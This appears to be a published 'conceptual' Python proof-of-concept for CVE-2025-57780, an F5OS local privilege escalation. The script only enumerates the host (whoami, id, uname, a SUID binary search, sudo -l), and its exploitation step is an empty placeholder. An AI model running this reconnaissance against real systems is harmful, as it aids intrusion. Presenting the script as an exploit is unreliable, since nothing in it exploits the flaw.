CVE-2025-57780

# CVE-2025-57780 PoC - F5OS-A/F5OS-C Local Privilege Escalation # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation details may vary depending on the specific system configuration. #!/usr/bin/env python3 """ CVE-2025-57780: F5OS Local Privilege Escalation PoC Vulnerability: Authenticated local attacker can escalate privileges CVSS 3.1: 8.8 (HIGH) """ import subprocess import os import sys def check_current_user(): """Check the current user identity on the target F5OS system""" try: result = subprocess.run(['whoami'], capture_output=True, text=True, timeout=10) return result.stdout.strip() except Exception as e: print(f"[ERROR] Cannot determine current user: {e}") return None def check_user_id(): """Retrieve current user ID and group information""" try: result = subprocess.run(['id'], capture_output=True, text=True, timeout=10) return result.stdout.strip() except Exception as e: print(f"[ERROR] Cannot retrieve user ID: {e}") return None def attempt_privesc_via_suid(): """ Attempt privilege escalation by exploiting SUID binaries or misconfigured system services on F5OS """ print("[*] Searching for SUID binaries...") try: result = subprocess.run( ['find', '/', '-perm', '-4000', '-type', 'f'], capture_output=True, text=True, timeout=30 ) suid_binaries = result.stdout.strip().split('\n') print(f"[*] Found {len(suid_binaries)} SUID binaries") return suid_binaries except Exception as e: print(f"[ERROR] SUID search failed: {e}") return [] def attempt_privesc_via_sudo(): """Check sudo permissions for privilege escalation""" print("[*] Checking sudo permissions...") try: result = subprocess.run( ['sudo', '-l'], capture_output=True, text=True, timeout=10 ) return result.stdout.strip() except Exception as e: print(f"[ERROR] Sudo check failed: {e}") return None def check_kernel_version(): """Check F5OS kernel version for known vulnerabilities""" print("[*] Checking system kernel version...") try: result = subprocess.run(['uname', '-a'], capture_output=True, text=True, timeout=10) return result.stdout.strip() except Exception as e: print(f"[ERROR] Cannot retrieve kernel version: {e}") return None def verify_exploit_success(): """Verify if privilege escalation was successful""" user = check_current_user() uid_info = check_user_id() print(f"\n[+] Current user: {user}") print(f"[+] User ID info: {uid_info}") if user == 'root' or 'uid=0' in uid_info: print("[+] SUCCESS: Privilege escalation achieved! Running as root.") return True else: print("[-] Current user does not have root privileges.") return False def main(): print("=" * 60) print("CVE-2025-57780 - F5OS Local Privilege Escalation PoC") print("Affected: F5OS-A and F5OS-C systems") print("CVSS 3.1: 8.8 (HIGH)") print("=" * 60) # Step 1: Verify we have local access print("\n[*] Step 1: Verifying local access to F5OS system...") current_user = check_current_user() if not current_user: print("[!] Cannot establish local access. Exiting.") sys.exit(1) print(f"[+] Local access confirmed as: {current_user}") # Step 2: Gather system information print("\n[*] Step 2: Gathering system information...") kernel = check_kernel_version() print(f"[+] Kernel: {kernel}") # Step 3: Enumerate privilege escalation vectors print("\n[*] Step 3: Enumerating privilege escalation vectors...") suid_bins = attempt_privesc_via_suid() sudo_perms = attempt_privesc_via_sudo() # Step 4: Attempt exploitation print("\n[*] Step 4: Attempting privilege escalation...") print("[*] Note: Actual exploit payload depends on specific F5OS version") print("[*] Refer to F5 Security Advisory K000156771 for details") # Step 5: Verify result print("\n[*] Step 5: Verifying exploitation result...") verify_exploit_success() if __name__ == "__main__": main()

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